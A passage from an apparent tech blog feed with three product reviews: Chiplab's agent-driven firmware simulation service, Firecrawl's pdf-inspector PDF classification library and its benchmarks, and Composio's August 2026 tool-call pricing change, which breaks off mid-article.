All three of those are tools a person sits down and operates. Chiplab's bet is that the operator, increasingly, won't be a person — it'll be a coding agent that has already been told to "implement the SPI driver and make sure it boots," and that needs a machine-checkable answer, not a simulator UI. An LLM can write plausible register-level code for a peripheral it has never seen initialize. It cannot tell you, on its own, whether that code actually boots on an STM32H7 or correctly handles an interrupt. Chiplab's actual product is turning "does this boot" into something an agent can query and get a pass/fail answer to, in the same tool-call loop it already used to write the code.

That's a real and current gap. Right now, if you want an agent to validate firmware against real chip constraints, your options are: give it shell access to a local Renode install and hope it can drive the scripting interface correctly, buy it a board (which an agent obviously cannot do, and which — per the founders' own framing — cost them literal weeks of shipping delay before they could start iterating), or trust the LLM's unverified output. Chiplab collapses that to an MCP tool call.

What changed versus the alternatives

The honest framing is that Chiplab isn't better than Renode at simulating chips — it's almost certainly much less capable today, given Renode's years of head start and its support for a far wider range of silicon (it covers ARM Cortex-A and Cortex-M, RISC-V, SPARC/Leon, and more). What Chiplab changes is who's expected to drive the tool and where it runs.

Interface: Renode and QEMU are driven by a human (or a carefully scripted CI job) via CLI/REPL and Robot Framework-style test scripts. Chiplab is driven by an agent via MCP tool calls, with per-framework AGENTS.md files specifically written to be read and acted on by an LLM rather than a person.
Where it runs: Renode, QEMU, and Wokwi's local mode run on your machine or your CI runner. Chiplab is a hosted service — your firmware binary leaves your machine and executes on Veecle's infrastructure. That's a meaningful trade for anyone working on firmware they consider sensitive.
Setup cost: a free account, no credit card, and a git clone gets an agent running the STM32F4-Discovery "Hello world" example in one prompt. Getting Renode scripted correctly for a new board is a real skill investment.
Scope: Wokwi and Renode both simulate a broad and growing set of peripherals — GPIO, timers, I2C, SPI, and more, depending on the platform. Chiplab's current loop is explicitly build → upload → run → read UART. The README doesn't claim broader peripheral access yet, and a Product Hunt discussion of the launch noted peripheral support and CI/CD integration as near-term roadmap items rather than shipped features.

Why developers should actually care

Cost. Getting a physical STM32 or nRF52 dev board on someone's desk means an order, a shipping wait, and a unit cost per contributor — trivial for one engineer, real friction for a team that wants every PR touching firmware to run against every board variant it targets, or for a course that wants every student to have a working board on day one. A virtual chip an agent can reach over HTTP removes that entirely for the "does it boot" tier of validation, and it does so at zero marginal cost during the beta.

Latency of feedback. This is arguably the bigger win. The founders describe losing weeks between deciding they needed to test something and having a board in hand to test it on. Even once hardware is on someone's desk, a human-driven flash-and-observe loop runs at the speed of a person walking to a bench, connecting a probe, and reading a terminal. An agent calling an MCP tool gets an answer in the time it takes the request to round-trip to Veecle's servers and back — the same compression agentic coding already brought to compile-test-fix loops in ordinary software, now reaching a domain where the "test" step used to require physical presence.

Developer experience. The whole point is that nobody has to learn a new tool. You don't study Renode's scripting API or QEMU's machine models; you tell an agent what you want in English and it does the MCP calls. That's a genuinely lower floor than any simulator aimed at humans has managed, at the cost of the ceiling being whatever the agent and the current MCP tool surface can express — which today is "build, run, read UART," nothing more granular.

Lock-in. This is the one the launch materials don't dwell on. Renode and QEMU are things you install and own; nothing stops you from running them offline, forking them, or auditing exactly how they model a chip. Chiplab is a hosted dependency on a single early-stage vendor. If Veecle's service has an outage, changes its terms, or eventually paywalls what's free today, your validation loop goes down with it. There's no self-hosted mode described anywhere in the public materials.

Security. Your firmware binary — which for a commercial product may embody real IP, cryptographic material, or proprietary protocol logic — gets uploaded to a third party's cloud to execute. For open-source examples or teaching material that's a non-issue. For a company's production firmware, "upload your ELF to an early-stage startup's hosted service" is a decision that needs a security review and probably a legal one, not a Product Hunt upvote. Nothing in the reviewed materials describes data retention, encryption at rest, or how long uploaded binaries persist on Veecle's infrastructure.

Maintainability. Because the interface is deliberately thin — three verbs, build/run/read — there's very little surface area to maintain on the consuming side. The flip side is that thinness is also the ceiling: teams that need to assert something more specific than "it booted and printed X" (a peripheral register reached a particular state, an interrupt fired within a timing window) have nothing to hook into yet.

Practical use cases

Agentic PR validation for firmware repos: wire an agent into your embedded repo so that when it proposes a driver change, it can self-check that the change still boots on the target board before opening the PR, rather than relying purely on code review.
Onboarding without hardware logistics: new hires or students can have a working "hello world on real chip" experience in minutes through an agent, without waiting on a hardware order — useful for courses, workshops, and remote onboarding.
Cross-board regression checks: with the board × framework matrix Chiplab publishes, an agent can, in principle, check the same driver logic against multiple STM32 variants (F1 vs H7, for instance) in one pass, something that would otherwise mean owning every variant physically.
Early triage before real-hardware debugging: catching a firmware change that flat-out fails to boot before it ever reaches a lab bench and a logic analyzer, reserving expensive hardware-in-the-loop time for problems that actually need it.

None of these are CI-grade yet, because Chiplab's stated roadmap explicitly hasn't shipped CI/CD integration — as of the material available, it's a per-session, agent-driven tool, not a pipeline step you can drop into GitHub Actions today.

What the launch page doesn't dwell on

Board coverage is genuinely narrow. Two silicon families, a specific list of variants within each, versus Renode's multi-architecture support spanning ARM, RISC-V, and SPARC, or Wokwi's Arduino/ESP32/RP2040 breadth. If your target chip isn't STM32 or nRF52, Chiplab has nothing for you today, full stop.
"Hello world" is not a euphemism — it's the literal current ceiling, by the project's own description. That's an honest disclosure, but it means the interesting failure modes in real firmware — race conditions between interrupts, timing-sensitive peripheral sequencing, power-state transitions — aren't things you can lean on Chiplab to catch yet. Reading back UART output tells you whether the firmware ran and printed something; it doesn't tell you whether a peripheral driver correctly handled a real-world edge case unless that firmware was specifically written to exercise and report on it.
Execution is synchronous and bounded to fixed virtual time. Fine for boot-and-print smoke tests; not obviously suited to long-running scenarios, power-cycle testing, or anything that needs to run for simulated hours.
It's a hosted dependency, not a local tool. Renode and QEMU run offline once installed; Chiplab requires network access to Veecle's servers and a Veecle account. If that service has downtime, rate limits, or eventually a paywall past the beta, your firmware validation loop depends on it. Pricing beyond "free during beta" isn't published anywhere in the materials reviewed for this piece.
The simulation engine itself is a black box. The repo is public, but the part that actually models chip behavior — accuracy of interrupt timing, peripheral register behavior, memory-mapped I/O fidelity — runs server-side and isn't inspectable the way Renode's open-source platform descriptions are. You're trusting Veecle's fidelity claims without being able to audit them the way you could audit an open simulator's model files.

An independent read

Strip away the Product Hunt framing and what's left is a small, credible startup shipping a thin, honestly-scoped MVP against a real problem. The founding story — burning hours flipping through a datasheet for one signal, then losing weeks waiting on a board to ship — is the kind of specific, unglamorous pain that tends to produce useful tools rather than the kind of pain that produces vaporware pitched at a trend. That's a point in its favor independent of how far along the product currently is.

What I'd push back on is the framing of Chiplab as a hardware simulator at all. It isn't competing with Renode on simulation fidelity, board coverage, or peripheral modeling, and by its own README it shouldn't be judged as if it were — not yet, anyway. It's closer to a very narrow, opinionated CI check exposed as an MCP tool: "did this ELF boot and print what we expected." That's a legitimate and underserved niche, but it means the interesting engineering bet isn't the emulator itself (Veecle almost certainly isn't reinventing QEMU-grade full-system emulation from scratch server-side) so much as the packaging: making a virtual-silicon boot check something an agent can reach in one tool call, with per-framework instructions written for a model rather than a person.

The open questions that matter more than today's board list: will Veecle publish anything about the accuracy of its chip models against real silicon, the way Renode's platform descriptions are inspectable because the project is fully open? Will peripheral support and CI/CD integration — both explicitly on the roadmap rather than shipped — arrive quickly enough to matter before a better-funded competitor (Antmicro adding an MCP front end to Renode would be a fairly obvious move) closes the gap? And does Veecle have a real business model here, or is "free during beta" masking a cost structure that won't survive contact with paying customers once they need dozens of board variants and CI minutes at scale? None of those are answerable from the launch materials alone, and that's fine — it's an early-stage bet, not a finished product, and it's refreshing that the project's own documentation doesn't pretend otherwise.

Who should try it, and who should wait

If you're already running agentic coding workflows against an STM32 or nRF52 target, especially in a Rust-with-Embassy or Zephyr/FreeRTOS context, and you're doing greenfield or example-level work where uploading firmware to a third party isn't a concern, Chiplab is worth wiring in this week — the setup cost is close to zero and it directly plugs a real hole in agentic embedded workflows. Educators and workshop organizers teaching embedded basics without a hardware budget for every student are a similarly good fit right now.

If your target silicon isn't in the current STM32/Nordic list, if your firmware is commercially sensitive and can't leave your infrastructure, or if you need CI-grade automated regression testing today, this is a "watch the roadmap" tool rather than an "adopt now" one — Renode remains the more capable and more auditable choice for those cases, agent-driven or not. And if you need peripheral-level simulation fidelity — I2C, SPI, ADC edge cases — none of the sources reviewed here suggest Chiplab does that yet; that's squarely Renode and Wokwi territory for now.

The more interesting question than "is it good today" is whether an agent-native interface to virtual silicon becomes the default way coding agents validate embedded work at all, the way MCP itself became a default way to give agents tool access generally. Chiplab is a young, narrow, honestly-labeled bet on that future. It's worth watching specifically because the problem it names — LLMs that can write firmware but have no way to know if it boots — isn't going away, and nobody else has shipped an agent-first answer to it yet.

What would actually convince you to route real firmware through a hosted simulation service instead of a local one — is it the CI integration landing, third-party security audits of the simulation fidelity, broader silicon coverage, or something else entirely?

Sources:

Firecrawl's pdf-inspector Beat Four PDF Parsers on Accuracy by Refusing to Run OCR on Most Documents

Jason Lee — Thu, 20 Aug 2026 06:16:40 +0000

Somewhere in the last seven days, a Rust crate with a boring name jumped from roughly 7,700 stars to 16,300. That's not a viral tweet spike from a demo GIF — pdf-inspector is a document-processing library, the least glamorous category of infrastructure there is. It doesn't generate images, write code, or answer questions. It looks at a PDF and decides, in about ten milliseconds, whether the thing needs OCR at all.

That's the whole pitch, and it's a better one than it sounds. Every team building a RAG pipeline, a document-search product, or an agent that reads uploaded files has hit the same wall: PDFs are not one file format, they're at least four (clean text, scanned images, embedded images, and messy hybrids of all three), and most extraction tools treat them as if they're all the same problem. Firecrawl, the web-scraping-for-LLMs company behind firecrawl, built pdf-inspector to stop paying OCR prices for PDFs that never needed OCR in the first place.

PDF ingestion has been one of the quietly expensive corners of the AI-tooling stack for a couple of years now. Every RAG framework tutorial eventually runs into a PDF that breaks the naive text extractor — a two-column layout that gets read left-to-right straight across both columns, a scanned invoice with zero embedded text, a contract where half the pages are native and half are faxed exhibits stapled in. The industry's default answer has been to reach for the heaviest tool available — OCR everything, or route everything through a vision-language model — because that's the one approach guaranteed to at least attempt every document. It's also the approach that turns a large batch of uploaded PDFs into a needlessly large API bill and a slow processing queue, most of it spent OCR'ing documents that were never scanned in the first place.

What it actually does

pdf-inspector is a Rust library — with official bindings for Python, Node.js/Bun, and WebAssembly — that does three things in sequence:

Classifies a PDF as TextBased, Scanned, ImageBased, or Mixed by sampling its content streams for text operators (Tj/TJ) versus image operators (Do), without rendering a single page.
Extracts text with position awareness — font metadata, X/Y coordinates, multi-column reading order, hyphenation rejoining, CID font and ToUnicode CMap decoding, RTL text support.
Converts the result to clean Markdown: heading levels inferred from font-size ratios, bullet/numbered/lettered lists, monospace-triggered code blocks, table detection via both rectangle geometry and heuristic alignment, bold/italic from font names, and URLs turned into links.

None of that requires a model. The core Rust and WASM builds have a single dependency, lopdf, for low-level PDF parsing — no bundled ML weights, no GPU, no network call. That's the detail that makes the growth curve make sense: this is infrastructure you can vendor into an offline pipeline or a browser tab and trust to behave the same way every time.

The classifier itself is cheap because it never rasterizes anything. Rendering a page to an image — the first step almost every OCR or VLM pipeline takes — is the expensive part of document processing; pdf-inspector's detection phase skips it entirely by reading the PDF's own content stream operators directly. A page made of Tj/TJ text-drawing operators is text. A page that's mostly a single Do operator pointing at an embedded image is scanned. A page with both, in roughly balanced proportion, is Mixed. That's a few hundred microseconds of stream parsing per page instead of a rasterize-then-classify pass, which is why the whole 200-document corpus clears in under half a second.

Table detection gets two independent passes rather than one: a rectangle-based method that looks for the geometric grid lines PDF generators draw explicitly, and a heuristic alignment method that infers table structure from columns of text that line up even when no visible border was ever drawn. Running both and reconciling them is a large part of why the TEDS (table structure) score comes in at 0.814 against a corpus that presumably includes both bordered and borderless tables — a category where naive text-position extraction usually falls apart completely.

How it works: routing, not replacing, OCR

The interesting architectural decision isn't the Markdown converter — every PDF-to-Markdown tool has one of those — it's what the library calls selective OCR, and it only ships in the Python and Node builds (the pure Rust/WASM core stays OCR-free by design).

The flow looks like this:

A document goes through the classifier first. TextBased pages get extracted natively and never touch an OCR path — the docs describe this as capable of running in well under 200ms locally.
Pages flagged Scanned or ImageBased get routed to OCR, but only those pages, not the whole document. The classifier supports four scan strategies, and which one you pick is really a decision about where you want to spend your error budget: EarlyExit (the default) stops the moment it hits a non-text page, which is fast but can misclassify a mostly-text document with one scanned exhibit page buried in the middle; Full scans every page for a definitive answer at the cost of scanning the whole document up front; Sample(n) checks evenly spaced pages, a middle ground for long documents where you're willing to trade a small miss-rate for speed; and Pages(vec) lets you target specific pages directly when you already know, say, that exhibits always land at the end of a filing.
Each page's result carries a provenance field — native, ocr, or fused — plus a confidence score, so downstream code (or a human reviewer) can tell exactly how a given block of text was produced instead of treating extraction as a black box.
OCR itself is pluggable through PDFium and ONNX Runtime, loaded lazily and only when a page actually needs them — a default auto request that never encounters a scanned page never pulls those dependencies into memory at all.

This is the part competitors mostly skip. Tools built around vision-language models treat every PDF as a scanned document by default, because it's the simplest thing to build and it works acceptably on everything. pdf-inspector's bet is that "acceptable on everything" is the wrong target when a meaningful fraction of the PDFs flowing through a typical ingestion pipeline (bank statements, contracts, generated reports, exported invoices) are already perfectly parseable text — and running an OCR/VLM pass on them anyway is pure wasted latency and API spend.

It's also a familiar shape if you've watched the rest of the AI infrastructure stack mature. LLM gateways added routing so cheap requests don't hit the most expensive model. Vector databases added hybrid search so semantic lookups don't run on queries a keyword match would answer instantly. pdf-inspector is the same move applied one layer earlier: don't send a document through the most expensive path in the pipeline until you've confirmed it actually needs it. Classification-as-a-gate, rather than classification-as-an-afterthought, is a pattern that's been under-applied specifically in document ingestion, where "just OCR everything" has been the default for long enough that teams stopped questioning whether the majority of their documents needed it.

The benchmark numbers

Firecrawl published results against the opendataloader-bench corpus — 200 PDFs scored on reading-order accuracy, table structure (TEDS), and heading detection, rolled into a composite score:

Engine	Composite score	Reading order	Table TEDS	Heading detection
pdf-inspector	0.875	0.915	0.814	0.788
LiteParse	0.873	—	—	—
OpenDataLoader	0.831	—	—	—
PyMuPDF4LLM	0.735	—	—	—
MarkItDown	0.589	—	—	—

Processing the full 200-PDF corpus took 0.470 seconds (median of five runs) — for comparison, a single call to a hosted OCR/VLM API for one moderately complex PDF commonly takes longer than that on its own. The margin over LiteParse is thin enough that it reads more like "competitive with the best rule-based parser available" than "categorically better," but the gap over PyMuPDF4LLM and MarkItDown — both widely used defaults in RAG tutorials — is large enough to matter in production.

Worth being precise about what this benchmark does and doesn't show: it's a text-based-PDF corpus, testing extraction quality, not OCR accuracy on scanned documents. pdf-inspector isn't claiming to out-OCR anything — it's claiming that a lot of documents currently getting OCR'd don't need to be, and it can prove it wins on the ones that don't.

Why this matters beyond the star count

Cost. OCR and VLM-based extraction are priced per page or per document through most hosted providers. A pipeline that classifies first and only pays for OCR on the subset of documents that actually require it turns a linear cost curve into something much flatter — the savings scale with how text-heavy your document mix already is.

Latency. Sub-200ms local extraction versus a network round trip to an OCR service is not a marginal difference in a synchronous upload-and-preview flow. It's the difference between showing a user their document instantly and making them wait.

Lock-in. Because the core library ships with zero bundled models and a single PDF-parsing dependency, it doesn't tie you to a specific OCR vendor. The OcrPageProvenance and confidence-score design means you can swap the OCR backend behind the force/auto/off routing modes without touching the rest of the pipeline — the documentation doesn't yet enumerate which external OCR providers plug in cleanly, which is a real gap if you're evaluating this today rather than reading the source.

Security and maintainability. A parser with one dependency and no ML weights has a much smaller attack surface and audit burden than one that ships a bundled model file or requires trusting a third-party inference API with every uploaded document — a nontrivial point for anyone processing PDFs that contain PII or financial data.

DX. Four language bindings from one Rust core means the classification logic — the actual hard-won part — doesn't get reimplemented and drift across a Python service, a Node API, and a browser-side preview. That kind of single-source-of-truth binding strategy is table stakes for infra libraries in 2026, but it's still not universal, and it's worth crediting here.

License. The whole thing ships under MIT. That matters more than it might look for a project maintained by a venture-backed company whose paid product (Firecrawl's hosted API) competes directly with what a well-tuned self-hosted pipeline could replace. There's no source-available clause, no field-of-use restriction, no clock on a future re-license — you can fork it, vendor it, and never touch Firecrawl's paid endpoints, and that promise is enforceable rather than aspirational. It's the same trust-building move other infra-adjacent companies (Unstructured, LangChain) have made with their own core libraries: give away the component that would otherwise be a wedge for lock-in, and compete on the hosted convenience layer instead.

Practical use cases

RAG ingestion pipelines that need to decide, per-document and per-page, whether to hit an expensive OCR/VLM endpoint or extract locally for free.
Document upload previews where sub-200ms local extraction beats a network call to render a first-pass view before a slower, higher-fidelity pass finishes.
Compliance and audit tooling, where the provenance field's native/OCR/fused labeling gives a defensible answer to "how was this text produced" for every extracted block — useful anywhere extraction accuracy needs to be traceable, not just plausible.
Browser-based tools — the WASM build with embedded CMaps means PDF classification and text-based extraction can run entirely client-side, with no document ever leaving the user's machine unless it actually needs OCR.
Bulk reprocessing of large document archives where the Sample(n) and EarlyExit scan strategies let you tune the cost/thoroughness tradeoff at corpus scale rather than per-file.

What the docs don't spell out

A few gaps are worth flagging before adopting this in production:

OCR provider integration is underdocumented. The Python docs describe the routing contract (auto/force/off, provenance, confidence) in detail but don't name which external OCR services are supported out of the box — you're expected to wire this up yourself against PDFium/ONNX Runtime.
Confidence scoring is opaque. The PdfResult and OCR page results both expose a 0.0–1.0 confidence value, but the public docs don't explain how it's calculated, which matters if you're planning to threshold on it for automated routing decisions rather than just logging it.
The benchmark is a best-case scenario for this design. opendataloader-bench is a general-purpose extraction corpus, not a stress test of pathological PDFs — heavily nested tables, rotated scans mixed with live text, forms with overlapping layers. Classification accuracy on genuinely ambiguous "mixed" documents (which the library does define as a category) isn't broken out separately in what's been published.
Heading detection is the weakest of the four scored dimensions (0.788), which tracks with font-size heuristics being inherently fragile against PDFs that don't follow conventional heading styling — a real risk for structured-document use cases like legal or academic text.
"Flags broken font encodings automatically" is doing a lot of quiet work. The library documents that it detects malformed CID font mappings and encoding mismatches rather than silently emitting garbled text, which is the right instinct — but it also means a nontrivial slice of real-world PDFs (older documents from unusual generators, some scanned-then-OCR'd-elsewhere hybrids) will come back flagged rather than cleanly extracted, and a pipeline built assuming every TextBased classification yields clean output needs to handle that flag as a real branch, not an edge case to ignore.

One adoption signal worth weighing alongside the star count: roughly 1,100 forks against 16,300 stars is a comparatively high fork ratio for a library this new, which tends to indicate people are actually pulling the code to build bindings, patch OCR integrations, or adapt the classifier for their own corpus — not just bookmarking a GitHub trending entry.

How it stacks up

Tool	Approach	OCR required	Bindings	Notable strength
pdf-inspector	Classify then route, rule-based extraction	Optional, selective	Rust, Python, Node, WASM	Speed + zero-dependency core
PyMuPDF4LLM	Rule-based extraction via PyMuPDF	No	Python	Mature, widely deployed
MarkItDown	Format-agnostic conversion (Microsoft)	Optional	Python	Broad file-type coverage beyond PDF
Docling	ML layout models + OCR	Often	Python	Strong on complex layouts, tables
Unstructured	Hybrid rule-based + ML partitioning	Often	Python	Wide format support, mature ecosystem
LlamaParse	Hosted VLM-based parsing	Always (hosted)	API	High fidelity on hard documents, no self-hosting

The honest framing: pdf-inspector isn't competing with Docling, Unstructured, or LlamaParse on documents that genuinely need heavy-duty layout understanding — scanned forms, rotated pages, dense multi-column academic PDFs with figures, documents where a vision model's ability to look at the page is doing real work. It's competing with the assumption that you need those tools' overhead for the sizable share of real-world PDFs that are just... text, correctly encoded, standard layout, nothing a VLM's visual understanding adds value to. The routing model means it can sit in front of one of those heavier tools rather than replacing it — classify first, send only the hard cases downstream, and let the expensive model earn its cost on documents where it's actually needed.

That framing also explains why "beats PyMuPDF4LLM and MarkItDown" is the more meaningful comparison than "beats LlamaParse." PyMuPDF4LLM and MarkItDown occupy the same niche pdf-inspector does — free, local, rule-based, no OCR by default — and are the tools most RAG tutorials reach for first specifically because they're the path of least resistance, not because anyone benchmarked them. Docling and Unstructured sit a tier up in capability and cost; comparing pdf-inspector against them on a text-only corpus would be comparing a router against a full parsing engine, which isn't a fair fight in either direction.

An independent read

The growth number is real and the benchmark is credible, but it's also a first-party benchmark against a corpus Firecrawl didn't design and against competitors on a single axis (text-based extraction quality). It says nothing about how pdf-inspector's classifier behaves on adversarial or edge-case documents at scale, and the OCR-integration story is still thin enough that "selective OCR" is more of a well-designed interface than a finished product today — the routing contract is there, but which OCR providers you're expected to bring is left as an exercise for the integrator.

There's also a survivorship-bias risk worth naming directly: a week of explosive star growth measures how many developers found the pitch compelling enough to click a button, not how many put it into a production pipeline and kept it there. GitHub Trending has burned people before on tools that looked transformative in week one and quietly stalled once the edge cases showed up — worth remembering before treating a star count as a maturity signal rather than an interest signal.

What's genuinely well done, independent of the hype cycle, is the architecture: parsing the document once and sharing it across classification and extraction instead of re-reading the file per stage, exposing provenance and confidence per page instead of returning a flat string that hides how each block of text was produced, and keeping the core dependency-free so it can run in a browser tab with no server round trip at all. Those are the kinds of design decisions that tend to age well regardless of whether this specific crate is still the default people reach for in a year — they're the right shape for the problem, and a competitor would have to make similar choices to catch up.

Who should try it, who should wait

Try it now if you're building or maintaining a document-ingestion pipeline and can measure what fraction of your PDFs are currently getting OCR'd unnecessarily — that's a number you can go check before writing any code, and it directly predicts your savings. Also worth a look if you want fast, dependency-free PDF classification as a preprocessing step in front of whatever heavier extraction tool you already use: even teams committed to Docling or Unstructured for the hard cases can drop pdf-inspector in purely as the routing gate and keep everything downstream unchanged. The WASM build is a genuinely distinct option, too — client-side classification with no document ever touching a server is hard to get elsewhere.

Wait if your documents are predominantly scanned, rotated, or layout-heavy (medical records, historical archives, faxed contracts, forms with overlapping handwritten and printed layers) — you're not the audience this library optimizes for, and Docling or a hosted VLM parser will likely serve you better today. Also wait if you need a documented, supported OCR integration out of the box rather than wiring PDFium and ONNX Runtime yourself; that's currently a build-it-yourself step, not a configuration flag.

Ignore if you're already happy with an existing pipeline's accuracy and cost profile, or if your document volume is small enough that OCR cost was never the bottleneck to begin with. A 16.3k-star jump in a week is a signal to evaluate, not a mandate to migrate — and migrating a working extraction pipeline for a library that's still filling in its OCR-provider documentation is a bet on the roadmap, not just the code that exists today.

Discussion: if you're running a document-ingestion pipeline today, do you actually know what fraction of your PDFs are text-based versus scanned — or are you paying OCR/VLM prices for all of them by default because nobody built the classification step first?

Sources:

Composio's New Pricing Turns a $229 Agent Bill Into $8,000 — Grandfathering Doesn't Fully Protect You

Jason Lee — Thu, 20 Aug 2026 03:11:10 +0000

On August 15, 2026, Composio — the integration layer that gives AI agents pre-authenticated access to over a thousand third-party apps — quietly rewrote its pricing. Tool-call allowances on paid plans dropped by roughly 75%. Overage rates jumped somewhere between 13x and 16x. And a new layer of metered billing (trigger events, LLM tokens, premium tool usage, sandbox compute, filesystem storage) got bolted onto a pricing model that used to have exactly one dial: calls per month.

If you build agents and you've never heard of this, that's the point of this piece. Composio isn't a household name the way OpenAI or Anthropic are, but it sits underneath a lot of agent products you have heard of — anywhere an agent needs to actually send a Slack message, file a Jira ticket, or touch a Google Calendar instead of just talking about it. And the way its pricing just moved is a preview of a problem every team building on agent-tooling middleware is going to run into: the thing you're being billed for isn't something you control.

What actually happened

Composio sells itself as the layer between "the agent decided to do something" and "the thing got done." You wire it into your agent stack once, and it hands you OAuth-managed, permission-scoped access to apps like Gmail, GitHub, Notion, Salesforce, and hundreds of others — either through direct SDK calls or as a Model Context Protocol server. Its own GitHub repository describes the pitch plainly: it "gives your AI agents 1000+ pre-authenticated toolkits, per-user sessions, authentication, triggers, and a sandbox, so you can ship agents that turn intent into action."

Until mid-August, the pricing for that convenience was straightforward and, frankly, cheap. According to pricing data compiled by Scalekit and UsagePricing, Composio's free tier covered 20,000 tool calls a month, a $29/month plan covered 200,000 calls with overage at $0.299 per 1,000 calls, and a $229/month plan covered 2 million calls with overage priced at $0.249 per 1,000. For a company running a moderately active agent fleet, that put Composio's tool-calling layer in the same cost bracket as a logging service or a low-tier database — an infrastructure line item you didn't think about twice.

The rewrite changes that math substantially. Per Scalekit's analysis of the change, the new overage rate is $4 per 1,000 calls (a discounted $3 per 1,000 is available if you route usage through Composio's session-based billing), and included allowances on paid tiers were cut by around 75%. New signups from August 15 onward are on the new terms immediately. Everyone who signed up before that date keeps their old plan and limits — but only through December 31, 2026. And there's a second, sharper edge to it: starting September 1, 2026, premium tool calls are billed to every customer, grandfathered or not. As of this article's publication, that's eleven days away.

Run the numbers on a real workload and the shift stops looking cosmetic. Scalekit's analysis walks through a team on the old $229/month, 2-million-call plan. Cut the included allowance by 75% and push the overflow through the new $4-per-1,000 rate, and that same 2 million calls a month lands somewhere between $6,000 and $8,000. That's not a price increase in the way SaaS vendors usually mean it — a 10% bump at renewal. It's a 26x-to-35x jump on the exact same usage pattern, and other workloads modeled in the same analysis showed increases ranging from roughly 4x on the low end to more than 30x depending on how much of the traffic falls into the newly metered categories.

What Composio actually does, under the hood

To understand why this pricing model is unusually risky, it helps to understand what you're actually paying for.

When an agent built on a framework like LangChain or the Claude Agent SDK decides it needs to, say, create a GitHub issue, it doesn't have a working GitHub session sitting around. Composio's job is to have already solved that problem before the agent ever asks: it holds a managed OAuth connection scoped to a specific end user, exposes the relevant action as a callable tool (either via its own SDK or as an MCP tool definition), executes the call against the real GitHub API when invoked, and returns a structured result the agent can reason over. For actions that need arbitrary code execution — running a script, transforming a file — Composio spins the work up in a sandbox rather than executing it in your own runtime. For apps that need to notify your agent proactively (a new email arriving, a webhook firing), it manages "triggers" that turn external events into agent-visible signals.

That's a genuinely useful amount of plumbing to not build yourself: OAuth flows for a thousand-plus apps, per-user credential isolation, sandboxed execution, and a normalized tool-calling interface across all of it. It's also, by construction, a layer where the volume of billable events isn't something your application code decides — it's something the language model decides, at inference time, based on how it interprets a prompt.

That distinction is the whole story here.

Why a per-tool-call meter is a uniquely bad fit for agent workloads

Traditional API billing — Stripe charging per transaction, Twilio charging per SMS — works because the caller's own code determines the call volume. You write a loop, you know how many times it runs. If costs spike, you introduced a bug, and you can find and fix it.

Agentic tool-calling breaks that assumption. An LLM deciding "I should check the calendar again to be sure" isn't a bug in your code; it's the model doing exactly what it was trained to do, and it can decide to do it three times instead of once depending on prompt phrasing, temperature, or a model version bump you didn't ask for. Add retries on failed tool calls, agents that loop until a task looks "done" by their own judgment, and multi-agent setups where several agents independently reach for the same tool, and your monthly tool-call count becomes a function of model behavior you're actively trying to make more autonomous — which is to say, less predictable — over time.

Pricing that variable, opaque, model-driven quantity at $4 per 1,000 units, with five additional metered dimensions layered on top (trigger events, LLM tokens passed through, premium tool usage, sandbox compute minutes, filesystem storage), means your bill is no longer something you can forecast from your product roadmap. It's something you find out about after the fact. For a team that's already deep into shipping agent features, that's a materially worse position than a normal cloud vendor relationship, where usage-based pricing at least tracks something you emit deliberately.

There's a second cost that doesn't show up on the invoice: switching cost. Once your agents' auth flows, session management, and tool-routing logic are wired to Composio's SDK across dozens of integrated apps, ripping that out isn't a config change — it's re-implementing OAuth handling, credential storage, and tool schemas for every app you use, one at a time. The pricing rewrite is exactly the kind of event that makes that lock-in visible: the moment the vendor's incentives and yours stop being aligned, you discover how expensive it is to leave.

The security trade you're making underneath the pricing

There's a dimension to this that's easy to skip past because it's not about money at first glance, but it shapes how bad the money problem can get: Composio's OAuth-broker model means it holds live, per-user credentials for every app it's connected to on your behalf. That's the mechanism that makes "1,000+ pre-authenticated toolkits" possible — you don't build a token store, Composio is the token store. The trade-off is concentration of trust: a single vendor's session-management layer becomes the blast radius for every integrated app if that layer is ever misconfigured or compromised, rather than each integration carrying its own smaller, isolated risk.

That's not a reason to avoid managed auth — rolling your own OAuth for a thousand apps is its own, arguably worse, security surface, full of exactly the kind of token-handling bugs a specialized vendor is more likely to have already found and fixed. But it does mean the new metered "premium tool usage" and "sandbox compute" categories aren't abstract billing line items; they map to real infrastructure Composio runs for the isolation and permission-scoping that make the security model work in the first place. Paying more for that isn't unreasonable on its face. The problem is that the amount you'll pay for it is set by agent behavior you don't fully control, which brings us back to the forecasting problem — except now it's a forecasting problem attached to your security posture, not just your budget.

What the marketing doesn't say out loud

A few things are true about this change that don't show up in the "existing customers are protected" framing:

Grandfathering has an expiration date, and it's close. December 31, 2026 sounds distant when you first read it in August, but for a team that adopted Composio expecting stable per-call economics, it's one budget cycle away, not a permanent exemption.

The grandfathering was never total. Premium tool calls — the higher-value, likely higher-margin actions in Composio's catalog — get billed to everyone starting September 1, regardless of signup date. "You're protected until year end" and "some of your bill changes in eleven days" are both true statements about the same policy, and only one of them is emphasized.

The newly metered dimensions expand the attack surface for surprise bills. Splitting one number (tool calls) into six (calls, triggers, tokens, premium tool usage, sandbox compute, storage) isn't inherently bad — usage-based pricing that reflects actual cost drivers can be more honest than a flat per-call rate. But it also means a team that optimized its usage against the old single meter may now be over budget on a dimension it was never tracking, discovering the new cost centers only when the invoice arrives.

This is Composio catching up to unit economics, not inventing a new business model out of nowhere. The broader SaaS market has been repricing around usage and outcomes rather than seats through 2026 — enterprise vendors like ServiceNow and Salesforce have made similar moves toward credit- and outcome-based billing this year. Composio's rewrite fits that pattern: infrastructure vendors serving AI agent workloads are recalibrating pricing to match costs (compute, sandboxing, LLM token pass-through) that a flat per-call rate never actually captured. That's a defensible business reason. It doesn't change the fact that developers who built cost models on the old numbers now have a wrong cost model.

Where Composio sits against the alternatives

Composio's core pitch has always been catalog breadth — reportedly over 1,000 integrated apps, which dwarfs most competitors. But breadth isn't the only axis that matters once pricing becomes a real constraint, and the alternative landscape looks meaningfully different depending on what you're optimizing for.

Arcade, founded by former Okta executives, takes a narrower, permission-first approach: every tool call is treated as a permissioned action tied to a specific user identity, with Arcade verifying the caller's delegated authorization before executing anything. Its catalog is smaller — roughly 112 integrations across a handful of categories, MCP-only, no data syncing or webhook infrastructure — but the identity and authorization model is more rigorous by design, which matters more for teams whose primary risk isn't "which apps can we reach" but "can we prove an agent was authorized to do what it did."

Pipedream comes at this from the opposite direction: it's a general workflow-automation platform (2,800+ app integrations) that added native MCP server support and AI-agent connectivity on top of infrastructure it already ran for traditional automation. If your team already treats agent actions as one more kind of workflow trigger alongside existing automations, Pipedream's dual-purpose platform avoids adding a second vendor relationship just for the agent piece.

